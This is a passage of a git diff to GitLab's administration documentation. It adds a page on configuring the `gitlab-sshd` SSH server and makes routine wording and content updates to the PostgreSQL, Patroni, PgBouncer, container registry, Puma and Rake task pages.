[`gitlab-sshd`](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/index.html#installation-command-line-options). - For example: - - ```yaml - gitlab: - gitlab-shell: - sshDaemon: gitlab-sshd - ``` - -1. Perform a Helm upgrade. - ## SELinux support and limitations GitLab supports `authorized_keys` database lookups with [SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux). diff --git a/doc/administration/operations/gitlab_sshd.md b/doc/administration/operations/gitlab_sshd.md new file mode 100644 index 00000000000..7b61631fe3a --- /dev/null +++ b/doc/administration/operations/gitlab_sshd.md @@ -0,0 +1,139 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# `gitlab-sshd` **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299109) in GitLab 14.5 as an **Alpha** release for self-managed customers. +> - Ready for production use with [Cloud Native GitLab in GitLab 15.1](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/2540) and [Omnibus GitLab in GitLab 15.9](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5937). + +`gitlab-sshd` is [a standalone SSH server](https://gitlab.com/gitlab-org/gitlab-shell/-/tree/main/internal/sshd) +written in Go. It is provided as a part of the `gitlab-shell` package. It has a lower memory +use as a OpenSSH alternative, and supports +[group access restriction by IP address](../../user/group/index.md) for applications +running behind the proxy. + +`gitlab-sshd` is a lightweight alternative to OpenSSH for providing +[SSH operations](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/71a7f34a476f778e62f8fe7a453d632d395eaf8f/doc/features.md). +While OpenSSH uses a restricted shell approach, `gitlab-sshd` behaves more like a +modern multi-threaded server application, responding to incoming requests. The major +difference is that OpenSSH uses SSH as a transport protocol while `gitlab-sshd` uses Remote Procedure Calls (RPCs). See [the blog post](https://about.gitlab.com/blog/2022/08/17/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass/) for more details. + +The capabilities of GitLab Shell are not limited to Git operations. + +If you are considering switching from OpenSSH to `gitlab-sshd`, consider these concerns: + +- `gitlab-sshd` supports the PROXY protocol. It can run behind proxy servers that rely + on it, such as HAProxy. The PROXY protocol is not enabled by default, but [it can be enabled](#proxy-protocol-support). +- `gitlab-sshd` **does not** support SSH certificates. For more details, read + [issue #495](https://gitlab.com/gitlab-org/gitlab-shell/-/issues/495). + +## Enable `gitlab-sshd` + +To use `gitlab-sshd`: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +The following instructions enable `gitlab-sshd` on a different port than OpenSSH: + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_sshd['enable'] = true + gitlab_sshd['listen_address'] = '[::]:2222' # Adjust the port accordingly + ``` + +1. Optional. By default, Omnibus GitLab generates SSH host keys for `gitlab-sshd` if +they do not exist in `/var/opt/gitlab/gitlab-sshd`. If you wish to disable this automatic generation, add this line: + + ```ruby + gitlab_sshd['generate_host_keys'] = false + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +By default, `gitlab-sshd` runs as the `git` user. As a result, `gitlab-sshd` cannot +run on privileged port numbers lower than 1024. This means users must +access Git with the `gitlab-sshd` port, or use a load balancer that +directs SSH traffic to the `gitlab-sshd` port to hide this. + +Users may see host key warnings because the newly-generated host keys +differ from the OpenSSH host keys. Consider disabling host key +generation and copy the existing OpenSSH host keys into +`/var/opt/gitlab/gitlab-sshd` if this is an issue. + +:::TabTitle Helm chart (Kubernetes) + +The following instructions switch OpenSSH in favor of `gitlab-sshd`: + +1. Set the `gitlab-shell` charts `sshDaemon` option to + [`gitlab-sshd`](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/index.html#installation-command-line-options). + For example: + + ```yaml + gitlab: + gitlab-shell: + sshDaemon: gitlab-sshd + ``` + +1. Perform a Helm upgrade. + +By default, `gitlab-sshd` listens for: + +- External requests on port 22 (`global.shell.port`). +- Internal requests on port 2222 (`gitlab.gitlab-shell.service.internalPort`). + +You can [configure different ports in the Helm chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/#configuration). + +::EndTabs + +## PROXY protocol support + +When a load balancer is used in front of `gitlab-sshd`, GitLab reports the IP +address of the proxy instead of the actual IP address of the client. `gitlab-sshd` +supports the [PROXY protocol](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) to +obtain the real IP address. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +To enable the PROXY protocol: + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_sshd['proxy_protocol'] = true + # # Proxy protocol policy ("use", "require", "reject", "ignore"), "use" is the default value + gitlab_sshd['proxy_policy'] = "use" + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Set the [`gitlab.gitlab-shell.config` options](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/index.html#installation-command-line-options). For example: + + ```yaml + gitlab: + gitlab-shell: + config: + proxyProtocol: true + proxyPolicy: "use" + ``` + +1. Perform a Helm upgrade. + +::EndTabs diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md index 527a72c5933..f6ab46b9fbf 100644 --- a/doc/administration/operations/index.md +++ b/doc/administration/operations/index.md @@ -17,6 +17,7 @@ Keep your GitLab instance up and running smoothly. to restart Sidekiq. - [Multiple Sidekiq processes](../sidekiq/extra_sidekiq_processes.md): Configure multiple Sidekiq processes to ensure certain queues always have dedicated workers, no matter the number of jobs that must be processed. **(FREE SELF)** - [Puma](puma.md): Understand Puma and puma-worker-killer. +- [`gitlab-sshd`](gitlab_sshd.md): Use GitLab SSH daemon instead of OpenSSH. - Speed up SSH operations by [Authorizing SSH users via a fast, indexed lookup to the GitLab database](fast_ssh_key_lookup.md), and/or by [doing away with user SSH keys stored on GitLab entirely in favor of SSH certificates](ssh_certificates.md). diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index 5066f6d99d8..aa0477be788 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -65,6 +65,8 @@ To move repositories: [individual snippets](../../api/snippet_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-snippet). - [All groups](#move-all-groups) or [individual groups](../../api/group_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-group). **(PREMIUM SELF)** +1. If [Geo](../geo/index.md) is enabled, + [resync all repositories](../geo/replication/troubleshooting.md#queue-up-all-repositories-for-resync). #### Move all projects diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index 51d6e9ae1fd..f2f9f1cdcda 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -138,7 +138,7 @@ When running Puma in single mode, some features are not supported: - [Phased restart](https://gitlab.com/gitlab-org/gitlab/-/issues/300665) - [Memory killers](#reducing-memory-use) -To learn more, visit [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303). +For more information, see [epic 5303](https://gitlab.com/groups/gitlab-org/-/epics/5303). ## Performance caveat when using Puma with Rugged @@ -223,7 +223,7 @@ from the Linux package and is no longer supported. Puma has a multi-thread architecture that uses less memory than a multi-process application server like Unicorn. On GitLab.com, we saw a 40% reduction in memory -consumption. Most Rails application requests normally include a proportion of I/O wait time. +consumption. Most Rails application requests usually include a proportion of I/O wait time. During I/O wait time, MRI Ruby releases the GVL to other threads. Multi-threaded Puma can therefore still serve more requests than a single process. diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md index f2143435755..652a4fa5497 100644 --- a/doc/administration/operations/rails_console.md +++ b/doc/administration/operations/rails_console.md @@ -158,7 +158,7 @@ sudo -u git -H bundle exec rails runner -e production /path/to/script.rb Rails Runner does not produce the same output as the console. -If you set a variable on the console, the console will generate useful debug output +If you set a variable on the console, the console generates useful debug output such as the variable contents or properties of referenced entity: ```ruby @@ -176,7 +176,7 @@ root 1 ``` -Some basic knowledge of Ruby will be very useful. Try +Some basic knowledge of Ruby is very useful. Try [this 30-minute tutorial](https://try.ruby-lang.org/) for a quick introduction. Rails experience is helpful but not essential. @@ -425,7 +425,7 @@ D, [2020-03-05T17:18:30.406047 #910] DEBUG -- : User Load (2.6ms) SELECT "use ``` For more on different ways to retrieve data from the database using Active -Record, please see the [Active Record Query Interface documentation](https://guides.rubyonrails.org/active_record_querying.html). +Record, see the [Active Record Query Interface documentation](https://guides.rubyonrails.org/active_record_querying.html). ## Query the database using an Active Record model @@ -547,7 +547,7 @@ be the fastest way to get to the root of the problem. ### Interacting with Active Record objects -At the end of the day, Active Record objects are just normal Ruby objects. As +At the end of the day, Active Record objects are just standard Ruby objects. As such, we can define methods on them which perform arbitrary actions. For example, GitLab developers have added some methods which help with diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md index 401451d58b4..bdd1045f7a7 100644 --- a/doc/administration/operations/ssh_certificates.md +++ b/doc/administration/operations/ssh_certificates.md @@ -74,7 +74,7 @@ $ ssh-add -L | grep cert | ssh-keygen -L -f - ``` Technically that's not strictly true, for example, it could be -`prod-aearnfjord` if it's a SSH certificate you'd normally sign in to +`prod-aearnfjord` if it's a SSH certificate you'd usually sign in to servers as the `prod-aearnfjord` user, but then you must specify your own `AuthorizedPrincipalsCommand` to do that mapping instead of using our provided default. @@ -122,7 +122,7 @@ You can supply as many principals as you want, these are turned into multiple lines of `authorized_keys` output, as described in the `AuthorizedPrincipalsFile` documentation in `sshd_config(5)`. -Normally when using the `AuthorizedKeysCommand` with OpenSSH the +Usually when using the `AuthorizedKeysCommand` with OpenSSH the principal is some "group" that's allowed to sign in to that server. However with GitLab it's only used to appease OpenSSH's requirement for it, we effectively only care about the "key ID" being @@ -145,13 +145,13 @@ authenticate the user, OpenSSH falls back on Therefore there may still be a reason to use the [Fast lookup of authorized SSH keys in the database](fast_ssh_key_lookup.md) method in conjunction with this. Since you are using SSH certificates for -all your normal users, and relying on the `~/.ssh/authorized_keys` +all your typical users, and relying on the `~/.ssh/authorized_keys` fallback for deploy keys, if you make use of those. But you may find that there's no reason to do that, since all your -normal users use the fast `AuthorizedPrincipalsCommand` path, and +typical users use the fast `AuthorizedPrincipalsCommand` path, and only automated deployment key access falls back on -`~/.ssh/authorized_keys`, or that you have a lot more keys for normal +`~/.ssh/authorized_keys`, or that you have a lot more keys for typical users (especially if they're renewed) than you have deploy keys. ## Other security caveats diff --git a/doc/administration/package_information/defaults.md b/doc/administration/package_information/defaults.md index 717e5ca31c9..3b52b6bca82 100644 --- a/doc/administration/package_information/defaults.md +++ b/doc/administration/package_information/defaults.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Package defaults **(FREE SELF)** Unless configuration is specified in the `/etc/gitlab/gitlab.rb` file, -the package will assume the defaults as noted below. +the package assumes the defaults as noted below. ## Ports @@ -49,7 +49,7 @@ by default: | PgBouncer | No | Port | X | 6432 | | Consul | No | Port | X | 8300, 8301(UDP), 8500, 8600[^Consul-notes] | | Patroni | No | Port | X | 8008 | -| GitLab KAS | No | Port | X | 8150 | +| GitLab KAS | Yes | Port | X | 8150 | | Gitaly | No | Port | X | 8075 | Legend: @@ -63,13 +63,13 @@ Legend: GitLab also expects a file system to be ready for the storage of Git repositories and various other files. -Note that if you are using NFS (Network File System), files will be carried -over a network which will require, based on implementation, ports `111` and +If you are using NFS (Network File System), files are carried +over a network which requires, based on implementation, ports `111` and `2049` to be open. NOTE: -In some cases, the GitLab Registry will be automatically enabled by default. See [our documentation](../packages/container_registry.md) for more details. +In some cases, the GitLab Registry is automatically enabled by default. See [our documentation](../packages/container_registry.md) for more details. [^Consul-notes]: If using additional Consul functionality, more ports may need to be opened. See the [official documentation](https://developer.hashicorp.com/consul/docs/install/ports#ports-table) for the list. - [^Sidekiq-health]: If Sidekiq health check settings are not set, they will default to the Sidekiq metrics exporter settings. This default is deprecated and is set to be removed in [GitLab 15.0](https://gitlab.com/gitlab-org/gitlab/-/issues/347509). + [^Sidekiq-health]: If Sidekiq health check settings are not set, they default to the Sidekiq metrics exporter settings. This default is deprecated and is set to be removed in [GitLab 15.0](https://gitlab.com/gitlab-org/gitlab/-/issues/347509). diff --git a/doc/administration/package_information/licensing.md b/doc/administration/package_information/licensing.md index ece1597c521..bbc0e864e95 100644 --- a/doc/administration/package_information/licensing.md +++ b/doc/administration/package_information/licensing.md @@ -41,7 +41,7 @@ Starting with version 8.13, GitLab has placed an additional step into Omnibus GitLab. The `license_check` step calls `lib/gitlab/tasks/license_check.rake`, which checks the compiled `LICENSE` file against the current list of approved and questionable licenses as denoted in the -arrays at the top of the script. This script will output one of `Good`, +arrays at the top of the script. This script outputs one of `Good`, `Unknown` or `Check` for each piece of software that is a part of the Omnibus GitLab package. @@ -70,7 +70,7 @@ All trademarks, materials, documentation, and other intellectual property remain ### Trademark Requirements -Use of GitLab Trademarks must be in compliance with the standards set forth in [our guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/trademark-guidelines/) (as updated from time to time). +Use of GitLab Trademarks must be in compliance with the standards set forth in [our guidelines](https://about.gitlab.com/handbook/marketing/brand-and-product-marketing/brand/brand-activation/trademark-guidelines/) (as updated from time to time). CHEF® and all Chef marks are owned by Progress Software Corporation and must be used in accordance with the [Progress Software Trademark Usage Policy](https://www.progress.com/legal/trademarks). When using a GitLab or 3rd party trademark in documentation, include the (R) symbol in the first instance, for example, "Chef(R) is used for configuring...." You may omit the symbol in subsequent instances. diff --git a/doc/administration/package_information/omnibus_packages.md b/doc/administration/package_information/omnibus_packages.md index 7b3892ace70..222341c7308 100644 --- a/doc/administration/package_information/omnibus_packages.md +++ b/doc/administration/package_information/omnibus_packages.md @@ -23,7 +23,7 @@ We have a few core goals with these packages: GitLab in its core is a Ruby on Rails project. However, GitLab as a whole application is more complex and has multiple components. If these components are -not present or are incorrectly configured, GitLab will not work or it will work +not present or are incorrectly configured, GitLab does not work or it works unpredictably. The [GitLab Architecture Overview](../../development/architecture.md#gitlab-architecture-overview) shows some of these components and how they @@ -112,4 +112,4 @@ what was noted above: 1. Running separate services in multiple containers and keeping them running can be more complex and might not be required for a given install. -This method is useful for organizations just getting started with containers and schedulers, and may not be ready for a more complex installation. This method is a great introduction, and will work well for smaller organizations. +This method is useful for organizations just getting started with containers and schedulers, and may not be ready for a more complex installation. This method is a great introduction, and works well for smaller organizations. diff --git a/doc/administration/package_information/signed_packages.md b/doc/administration/package_information/signed_packages.md index e4566be7534..638dd7820b8 100644 --- a/doc/administration/package_information/signed_packages.md +++ b/doc/administration/package_information/signed_packages.md @@ -6,8 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Package Signatures **(FREE SELF)** -As of the release of GitLab 9.5 on August 22, 2017, GitLab provides signed Omnibus GitLab packages for RPM and DEB based distributions. This means that all packages provided on <https://packages.gitlab.com> are signed, starting with `9.5.0`, and all future versions of supported branches (for example `9.3.x` and `9.4.x` after August 22, 2017). Any package version prior to August 22, 2017, will not be signed. Pass the appropriate argument to your package manager. (Example: `yum --nogpgcheck`) - Omnibus GitLab packages produced by GitLab are created via the [Omnibus](https://github.com/chef/omnibus) tool, for which GitLab has added DEB signing via `debsigs` in [our own fork](https://gitlab.com/gitlab-org/omnibus). This addition, combined with the existing functionality of RPM signing, allows GitLab to provide signed packages for all supported distributions using DEB or RPM. These packages are produced by the GitLab CI process, as found in the [Omnibus GitLab project](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/.gitlab-ci.yml), prior to their delivery to <https://packages.gitlab.com> to ensure provide assurance that the packages are not altered prior to delivery to our community. diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 6446252e143..34acf57ce70 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -475,7 +475,7 @@ To configure the `s3` storage driver in Omnibus: `bucket_name.host/object`. [Set to false for AWS S3](https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/). You can set a rate limit on connections to S3 to avoid 503 errors from the S3 API. To do this, - set `maxrequestspersecond` to a number within the [S3 request rate threshold](https://aws.amazon.com/premiumsupport/knowledge-center/s3-503-within-request-rate-prefix/): + set `maxrequestspersecond` to a number within the [S3 request rate threshold](https://repost.aws/knowledge-center/s3-503-within-request-rate-prefix): ```ruby registry['storage'] = { @@ -552,7 +552,7 @@ you can pull from the Container Registry, but you cannot push. NOTE: If you have a lot of data, you may be able to improve performance by - [running parallel sync operations](https://aws.amazon.com/premiumsupport/knowledge-center/s3-improve-transfer-sync-command/). + [running parallel sync operations](https://repost.aws/knowledge-center/s3-improve-transfer-sync-command). 1. To perform the final data sync, [put the Container Registry in `read-only` mode](#performing-garbage-collection-without-downtime) and @@ -1136,7 +1136,7 @@ To enable the read-only mode: 1. Next, trigger one of the garbage collect commands: WARNING: - You must use `/opt/gitlab/embedded/bin/registry` to recycle unused tags. If you use `gitlab-ctl registry-garbage-collect`, you **will bring the container registry down**. + You must use `/opt/gitlab/embedded/bin/registry` to recycle unused tags. If you use `gitlab-ctl registry-garbage-collect`, **the container registry goes down**. ```shell # Recycling unused tags @@ -1706,7 +1706,7 @@ case, since we know that since the login succeeded, we probably need to look at the communication between the client and the Registry. The REST API between the Docker client and Registry is described -[in the Docker documentation](https://docs.docker.com/registry/spec/api/). Normally, one would just +[in the Docker documentation](https://docs.docker.com/registry/spec/api/). Usually, one would just use Wireshark or tcpdump to capture the traffic and see where things went wrong. However, since all communications between Docker clients and servers are done over HTTPS, it's a bit difficult to decrypt the traffic quickly even diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 58003758c8a..ed08b10fe97 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -272,7 +272,7 @@ control over how the Pages daemon runs and serves content in your environment. | `log_verbose` | Verbose logging, true/false. | | `propagate_correlation_id` | Set to true (false by default) to re-use existing Correlation ID from the incoming request header `X-Request-ID` if present. If a reverse proxy sets this header, the value is propagated in the request chain. | | `max_connections` | Limit on the number of concurrent connections to the HTTP, HTTPS or proxy listeners. | -| `max_uri_length` | The maximum length of URIs accepted by GitLab Pages. Set to 0 for unlimited length. [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/659) in GitLab 14.5. +| `max_uri_length` | The maximum length of URIs accepted by GitLab Pages. Set to 0 for unlimited length. [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5729) in GitLab 14.5. | `metrics_address` | The address to listen on for metrics requests. | | `redirect_http` | Redirect pages from HTTP to HTTPS, true/false. | | `redirects_max_config_size` | The maximum size of the `_redirects` file, in bytes (default: 65536). | @@ -719,7 +719,10 @@ To set the maximum size of GitLab Pages site in a project, overriding the inheri 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > Pages**. -1. Enter a value under **Maximum size of pages** in MB. + + If this path is not visible, select **Deployments > Pages**. + [This location is part of an experiment](../../user/project/pages/index.md#menu-position-test). +1. In **Maximum size of pages**, enter the size in MB. 1. Select **Save changes**. ## Set maximum number of GitLab Pages custom domains for a project diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md index f48e537064a..e829397abc1 100644 --- a/doc/administration/postgresql/index.md +++ b/doc/administration/postgresql/index.md @@ -8,26 +8,29 @@ info: To determine the technical writer assigned to the Stage/Group associated w In this section, you are guided through configuring a PostgreSQL database to be used with GitLab in one of our [reference architectures](../reference_architectures/index.md). -There are essentially three setups to choose from. -## Standalone PostgreSQL using Omnibus GitLab +## Configuration options + +Choose one of the following PostgreSQL configuration options: + +### Standalone PostgreSQL using Omnibus GitLab This setup is for when you have installed the [Omnibus GitLab packages](https://about.gitlab.com/install/) (CE or EE), to use the bundled PostgreSQL having only its service enabled. -[> Read how to set up a standalone PostgreSQL instance using Omnibus GitLab](standalone.md) +Read how to [set up a standalone PostgreSQL instance](standalone.md) using Omnibus GitLab. -## Provide your own PostgreSQL instance +### Provide your own PostgreSQL instance This setup is for when you have installed GitLab using the [Omnibus GitLab packages](https://about.gitlab.com/install/) (CE or EE), or installed it [from source](../../install/installation.md), but you want to use your own external PostgreSQL server. -[> Read how to set up an external PostgreSQL instance](external.md) +Read how to [set up an external PostgreSQL instance](external.md). -## PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)** +### PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)** This setup is for when you have installed GitLab using the [Omnibus GitLab **Enterprise Edition** (EE) package](https://about.gitlab.com/install/?version=ee). @@ -35,4 +38,12 @@ This setup is for when you have installed GitLab using the All the tools that are needed like PostgreSQL, PgBouncer, and Patroni are bundled in the package, so you can use it to set up the whole PostgreSQL infrastructure (primary, replica). -[> Read how to set up PostgreSQL replication and failover using Omnibus GitLab](replication_and_failover.md) +Read how to [set up PostgreSQL replication and failover](replication_and_failover.md) using Omnibus GitLab. + +## Related topics + +- [Working with the bundled PgBouncer service](pgbouncer.md) +- [Database load balancing](database_load_balancing.md) +- [Moving GitLab databases to a different PostgreSQL instance](moving.md) +- [Multiple databases](multiple_databases.md) +- [Database guides for GitLab development](../../development/database/index.md) diff --git a/doc/administration/postgresql/moving.md b/doc/administration/postgresql/moving.md index 96076205281..7c18297a175 100644 --- a/doc/administration/postgresql/moving.md +++ b/doc/administration/postgresql/moving.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Sometimes it is necessary to move your databases from one PostgreSQL instance to another. For example, if you are using AWS Aurora and are preparing to -enable Database Load Balancing, you will need to move your databases to +enable Database Load Balancing, you need to move your databases to RDS for PostgreSQL. To move databases from one instance to another: @@ -36,7 +36,7 @@ To move databases from one instance to another: /opt/gitlab/embedded/bin/pg_dump -h $SRC_PGHOST -U $SRC_PGUSER -c -C -f praefect_production.sql praefect_production ``` -1. Restore the databases to the destination (this will overwrite any existing databases with the same names): +1. Restore the databases to the destination (this overwrites any existing databases with the same names): ```shell /opt/gitlab/embedded/bin/psql -h $DST_PGHOST -U $DST_PGUSER -f praefect_production.sql postgres diff --git a/doc/administration/postgresql/multiple_databases.md b/doc/administration/postgresql/multiple_databases.md index 25f148dbe84..836736fb73f 100644 --- a/doc/administration/postgresql/multiple_databases.md +++ b/doc/administration/postgresql/multiple_databases.md @@ -67,6 +67,9 @@ the other way around. 1. Save the `config/database.yml` file. +1. Update the service files to set the `GITLAB_ALLOW_SEPARATE_CI_DATABASE` + environment variable to `true`. + 1. Create the `gitlabhq_production_ci` database: ```shell @@ -100,6 +103,7 @@ the other way around. 1. Edit `/etc/gitlab/gitlab.rb` and add the following lines: ```ruby + gitlab_rails['env'] = { 'GITLAB_ALLOW_SEPARATE_CI_DATABASE' => 'true' } gitlab_rails['databases']['ci']['enable'] = true gitlab_rails['databases']['ci']['db_database'] = 'gitlabhq_production_ci' ``` diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md index 25c4c940b97..5dd0aad7162 100644 --- a/doc/administration/postgresql/pgbouncer.md +++ b/doc/administration/postgresql/pgbouncer.md @@ -5,7 +5,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Working with the bundled PgBouncer service **(PREMIUM SELF)** +# Working with the bundled PgBouncer service **(FREE SELF)** + +NOTE: +PgBouncer is bundled in the `gitlab-ee` package, but is free to use. +For support, you need a [Premium subscription](https://about.gitlab.com/pricing/). [PgBouncer](https://www.pgbouncer.org/) is used to seamlessly migrate database connections between servers in a failover scenario. Additionally, it can be used diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md index ececa12f3ad..46890b0b2ca 100644 --- a/doc/administration/postgresql/replication_and_failover.md +++ b/doc/administration/postgresql/replication_and_failover.md @@ -26,7 +26,7 @@ replication failover requires: - A minimum of three PgBouncer nodes that track and handle primary database reads and writes. - An internal load balancer (TCP) to balance requests between the PgBouncer nodes. - [Database Load Balancing](database_load_balancing.md) enabled. - - A local PgBouncer service configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary. + - A local PgBouncer service configured on each PostgreSQL node. This is separate from the main PgBouncer cluster that tracks the primary. ```plantuml @startuml @@ -356,7 +356,7 @@ If you enable Monitoring, it must be enabled on **all** database servers. #### Enable TLS support for the Patroni API -By default, Patroni's [REST API](https://patroni.readthedocs.io/en/latest/rest_api.html#rest-api) is served over HTTP. +By default, the Patroni [REST API](https://patroni.readthedocs.io/en/latest/rest_api.html#rest-api) is served over HTTP. You have the option to enable TLS and use HTTPS over the same [port](../package_information/defaults.md). To enable TLS, you need PEM-formatted certificate and private key files. Both files must be readable by the PostgreSQL user (`gitlab-psql` by default, or the one set by `postgresql['username']`): @@ -1009,7 +1009,7 @@ Here are a few key facts that you must consider before upgrading PostgreSQL: GitLab deployment is down for the duration of database upgrade or, at least, as long as your leader node is upgraded. This can be **a significant downtime depending on the size of your database**. -- Upgrading PostgreSQL creates a new data directory with a new control data. From Patroni's perspective this is a new cluster that needs to be bootstrapped again. Therefore, as part of the upgrade procedure, the cluster state (stored in Consul) is wiped out. After the upgrade is complete, Patroni bootstraps a new cluster. **This changes your _cluster ID_**. +- Upgrading PostgreSQL creates a new data directory with a new control data. From the perspective of Petroni, this is a new cluster that needs to be bootstrapped again. Therefore, as part of the upgrade procedure, the cluster state (stored in Consul) is wiped out. After the upgrade is complete, Patroni bootstraps a new cluster. **This changes your _cluster ID_**. - The procedures for upgrading leader and replicas are not the same. That is why it is important to use the right procedure on each node. @@ -1017,7 +1017,7 @@ Here are a few key facts that you must consider before upgrading PostgreSQL: configured replication method (`pg_basebackup` is the only available option). It might take some time for replica to catch up with the leader, depending on the size of your database. -- An overview of the upgrade procedure is outlined in [Patroni's documentation](https://patroni.readthedocs.io/en/latest/existing_data.html#major-upgrade-of-postgresql-version). +- An overview of the upgrade procedure is outlined in [the Patroni documentation](https://patroni.readthedocs.io/en/latest/existing_data.html#major-upgrade-of-postgresql-version). You can still use `gitlab-ctl pg-upgrade` which implements this procedure with a few adjustments. Considering these, you should carefully plan your PostgreSQL upgrade: @@ -1322,7 +1322,7 @@ If a replica cannot start or rejoin the cluster, or when it lags behind and cann +-------------------------------------+--------------+---------+--------------+----+-----------+ ``` -1. Sign in to the broken server and reinitialize the database and replication. Patroni will shut +1. Sign in to the broken server and reinitialize the database and replication. Patroni shuts down PostgreSQL on that server, remove the data directory, and reinitialize it from scratch: ```shell @@ -1330,7 +1330,7 @@ If a replica cannot start or rejoin the cluster, or when it lags behind and cann ``` This can be run on any Patroni node, but be aware that `sudo gitlab-ctl patroni - reinitialize-replica` without `--member` will reinitialize the server it is run on. + reinitialize-replica` without `--member` restarts the server it is run on. It is recommended to run it locally on the broken server to reduce the risk of unintended data loss. 1. Monitor the logs: diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md index 2660caa80b3..2cb664b0859 100644 --- a/doc/administration/raketasks/check.md +++ b/doc/administration/raketasks/check.md @@ -381,3 +381,37 @@ To delete these references to missing local and/or remote artifacts (`job.log` f If `gitlab-rake gitlab:lfs:check VERBOSE=1` detects LFS objects that exist in the database but not on disk, [follow the procedure in the LFS documentation](../lfs/index.md#missing-lfs-objects) to remove the database entries. + +### Update dangling object storage references + +If you have [migrated from object storage to local storage](../job_artifacts.md#migrating-from-object-storage-to-local-storage) and files were missing, then dangling database references remain. + +This is visible in the migration logs with errors like the following: + +```shell +W, [2022-11-28T13:14:09.283833 #10025] WARN -- : Failed to transfer Ci::JobArtifact ID 11 with error: undefined method `body' for nil:NilClass +W, [2022-11-28T13:14:09.296911 #10025] WARN -- : Failed to transfer Ci::JobArtifact ID 12 with error: undefined method `body' for nil:NilClass +``` + +Attempting to [delete references to missing artifacts](check.md#delete-references-to-missing-artifacts) after you have disabled object storage, results in the following error: + +```shell +RuntimeError (Object Storage is not enabled for JobArtifactUploader) +``` + +To update these references to point to local storage: + +1. Open the [GitLab Rails Console](../operations/rails_console.md#starting-a-rails-console-session). +1. Run the following Ruby code: + + ```ruby + artifacts_updated = 0 + ::Ci::JobArtifact.find_each do |artifact| ### Iterate artifacts + next if artifact.file_store != 2 ### Skip if file_store already points to local storage + artifacts_updated += 1 + # artifact.update(file_store: 1) ### Uncomment to actually update + end + puts "Updated file_store count: #{artifacts_updated}" + ``` + +The script to [delete references to missing artifacts](check.md#delete-references-to-missing-artifacts) now functions correctly and cleans up the database. diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index 2e6a88a77e2..d089682f78e 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -6,6 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitHub import Rake task **(FREE SELF)** +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/390690) in GitLab 15.9, Rake task no longer automatically creates namespaces or groups that don't exist. + To retrieve and import GitHub repositories, you need a [GitHub personal access token](https://github.com/settings/tokens). A username should be passed as the second argument to the Rake task, which becomes the owner of the project. You can resume an import @@ -39,7 +41,7 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production In this case, `access_token` is your GitHub personal access token, `root` is your GitLab username, and `foo/bar` is the new GitLab namespace/project -created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. The importer creates any missing intermediate namespaces (groups) if they do not exist. +created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. ## Importing a single project diff --git a/doc/administration/raketasks/incoming_email.md b/doc/administration/raketasks/incoming_email.md new file mode 100644 index 00000000000..6b9c27ed144 --- /dev/null +++ b/doc/administration/raketasks/incoming_email.md @@ -0,0 +1,149 @@ +--- +stage: 